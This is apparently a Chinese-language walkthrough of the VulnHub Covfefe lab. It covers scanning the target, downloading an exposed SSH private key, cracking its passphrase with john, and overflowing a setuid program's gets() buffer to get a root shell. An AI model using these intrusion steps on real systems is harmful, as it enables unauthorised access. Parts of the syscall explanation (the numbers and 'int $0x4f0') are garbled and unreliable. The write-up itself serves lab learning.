CTF Covfefe B2R WriteUp
VulnHub Page:https://www.vulnhub.com/entry/covfefe-1,199/
靶机上线后,通过netdiscover -r 192.168.1.1/24扫描获取主机IP地址为192.168.1.194。
Currently scanning: 10.17.66.0/8 | Screen View: Unique Hosts
2812 Captured ARP Req/Rep packets, from 1 hosts. Total size: 168720 _____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.194 00:0c:29:47:fe:58 6 360 VMware, Inc. -----------------------------------------------------------------------------
获得靶机IP后,可使用nmap对靶机服务进行探测,简易探测命令为nmap -sV 192.168.1.194,结果如下:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp open http nginx 1.10.3
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
由nmap扫描结果可得80端口与31337端口开放http服务,分别对两个端口上的http服务进行扫描:dirb http://192.168.1.194:80与dirb http://192.168.1.194:31337,80端口扫描的信息为空,31337端口扫描的信息为:
---- Scanning URL: http://192.168.1.194:31337/ ----
+ http://192.168.1.194:31337/.bash_history (CODE:200|SIZE:547)
+ http://192.168.1.194:31337/.bashrc (CODE:200|SIZE:3526)
+ http://192.168.1.194:31337/.profile (CODE:200|SIZE:675)
+ http://192.168.1.194:31337/.ssh (CODE:200|SIZE:43)
+ http://192.168.1.194:31337/robots.txt (CODE:200|SIZE:70)
访问robots.txt可得URI:/taxes/为禁止爬取内容,访问该页面,取得flag值:
Good job! Here is a flag: flag1{make_america_great_again}
探测URI:.ssh/可直接获得authorized_keys与id_rsa的文件下载权,查看authorized_keys命令cat authorized_keys可获得当前机器的用户名:simon@covfefe。id_rsa文件使用要求其权限必须为600,使用chmod 600 id_rsa可修正文件权限。靶机开放22的SSH服务端口,通过私钥文件直接登录SSH:ssh -i id_rsa simon@192.168.1.194。登录时要求输入id_rsa密钥的passphrase:
The authenticity of host '192.168.1.194 (192.168.1.194)' can't be established.
ECDSA key fingerprint is SHA256:5Tmg/FD7Iga/sFY/1z4etq44S8/bmokfg3R3VyjHtVM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.194' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa':
对于加密的id_rsa文件,可使用ssh2john将id_rsa转化为john可读格式:/usr/share/john/ssh2john.py id_rsa > rsacrack,使用Kali Linux中自带的字典使用john进行破解:zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack可得出其密码为starwars。
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
starwars (id_rsa)
starwars (id_rsa)
starwars (id_rsa)
1g 0:00:00:04 0.2487g/s 2192Kp/s 2192Kc/s 2192KC/s damaricita..damareynosa
使用该密码starwars重新登录SSH服务:ssh -i id_rsa simon@192.168.1.194,即可成功登录:
Enter passphrase for key 'id_rsa': starwars
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 6 13:49:33 2020 from 192.168.1.177
simon@covfefe:~$
切换至root目录下查看flag.txt提示无访问权限:
simon@covfefe:/root$ cat flag.txt
cat: flag.txt: Permission denied
没有访问该文件的权限,可以考虑是否有当前用户可以使用的程序有访问root用户权限特有的文件,可使用find / -perm -4000 2>/dev/null查找,在/root目录下存在flag.txt与read_message.c文件,查看read_message.c获得如下源码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// You're getting close! Here's another flag:
// flag2{use_the_source_luke}
int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";
printf("What is your name?\n");
gets(buf);
// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}
}
获得第二个flag值:
You're getting close! Here's another flag:
flag2{use_the_source_luke}
在read_message.c中一共使用了两个系统调用,分别是execve()与_exit()。通过查阅/usr/include/asm-generic/unistd.h文件可知,__NR_execve系统调用号为221,__NR_exit系统调用号为93,按照系统调用规则,该程序通过字符数组溢出生成一个shell的步骤为:
- 在内存中存放以’\0’为结束末端含有’/bin/sh’的buf字符数组
- 字符串的地址保存在内存中的某个机器字中,并且后面紧接值为0的机器字
- 将
execve()的系统调用号221装入eax寄存器 - 将字符串的地址装入ebx寄存器
- 执行
int $0x4f0,即调用execve(); - 将
_exit()系统调用号装入eax寄存器 - 将退出码0装入ebx寄存器
- 执行
int $0x4f0,相当于调用_exit();
通过gdb查看read_message程序中的main函数调用:
0x00000690 <+0>: push %ebp
0x00000691 <+1>: mov %esp,%ebp
0x00000693 <+3>: push %ebx
0x00000694 <+4>: sub $0x34,%esp
0x00000697 <+7>: call 0x560 <__x86.get_pc_thunk.bx>
0x0000069c <+12>: add $0x1964,%ebx
0x000006a2 <+18>: movl $0x7273752f,-0x1c(%ebp)
0x000006a9 <+25>: movl $0x636f6c2f,-0x18(%ebp)
0x000006b0 <+32>: movl $0x732f6c61,-0x14(%ebp)
0x000006b7 <+39>: movl $0x2f6e6962,-0x10(%ebp)
0x000006be <+46>: movl $0x7373656d,-0xc(%ebp)
0x000006c5 <+53>: movl $0x656761,-0x8(%ebp)
0x000006cc <+60>: movl $0x6f6d6953,-0x36(%ebp)
0x000006d3 <+67>: movw $0x6e,-0x32(%ebp)
0x000006d9 <+73>: lea -0x1820(%ebx),%eax
0x000006df <+79>: push %eax
0x000006e0 <+80>: call 0x4c0 <puts@plt>
0x000006e5 <+85>: add $0x4,%esp
0x000006e8 <+88>: lea -0x30(%ebp),%eax
0x000006eb <+91>: push %eax
0x000006ec <+92>: call 0x4b0 <gets@plt>
0x000006f1 <+97>: add $0x4,%esp
0x000006f4 <+100>: push $0x5
0x000006f6 <+102>: lea -0x30(%ebp),%eax
0x000006f9 <+105>: push %eax
0x000006fa <+106>: lea -0x36(%ebp),%eax
0x000006fd <+109>: push %eax
0x000006fe <+110>: call 0x500 <strncmp@plt>
0x00000703 <+115>: add $0xc,%esp
0x00000706 <+118>: test %eax,%eax
0x00000708 <+120>: jne 0x72f <main+159>
0x0000070a <+122>: lea -0x30(%ebp),%eax
0x0000070d <+125>: push %eax
0x0000070e <+126>: lea -0x180c(%ebx),%eax
0x00000714 <+132>: push %eax
0x00000715 <+133>: call 0x4a0 <printf@plt>
0x0000071a <+138>: add $0x8,%esp
0x0000071d <+141>: push $0x0
0x0000071f <+143>: push $0x0
0x00000721 <+145>: lea -0x1c(%ebp),%eax
0x00000724 <+148>: push %eax
0x00000725 <+149>: call 0x4f0 <execve@plt>
0x0000072a <+154>: add $0xc,%esp
0x0000072d <+157>: jmp 0x74d <main+189>
0x0000072f <+159>: lea -0x36(%ebp),%eax
0x00000732 <+162>: push %eax
0x00000733 <+163>: lea -0x30(%ebp),%eax
0x00000736 <+166>: push %eax
0x00000737 <+167>: lea -0x17e8(%ebx),%eax
0x0000073d <+173>: push %eax
0x0000073e <+174>: call 0x4a0 <printf@plt>
0x00000743 <+179>: add $0xc,%esp
0x00000746 <+182>: push $0x1
0x00000748 <+184>: call 0x4d0 <exit@plt>
0x0000074d <+189>: mov $0x0,%eax
0x00000752 <+194>: mov -0x4(%ebp),%ebx
0x00000755 <+197>: leave
0x00000756 <+198>: ret
End of assembler dump.
通过阅读上述代码可知,在0x6e8至0x6f4处使用了gets这种存在安全隐患的函数将用户输入的内容拷贝到了某段内存缓冲区中,在0x6f9至0x72a处使用了printf、execve等函数。对于字符串的读取、拷贝的判断标准即为是否遇到了\0字符。其缺陷就在于执行字符串判断操作时未将目的字符串大小进行判断导致了缓冲区溢出攻击的发生,此例便是使用了缓冲区溢出攻击将具有root执行权限的read_message程序调用了外部shell从而获得了root权限。其漏洞的利用方法为超过缓冲区20字符限制后输入执行命令SimonAAAAASSSDDDFFFG/bin/sh:
simon@covfefe:~$ /usr/local/bin/read_message
What is your name?
SimonAAAAASSSDDDFFFG/bin/sh
Hello SimonAAAAASSSDDDFFFG/bin/sh! Here is your message:
# whoami
root
获取root权限后通过如下命令即可获得最终的flag:
# cat /root/flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}
至此,Covfefe B2R靶机的所有Flag均获取完毕,root权限已获取。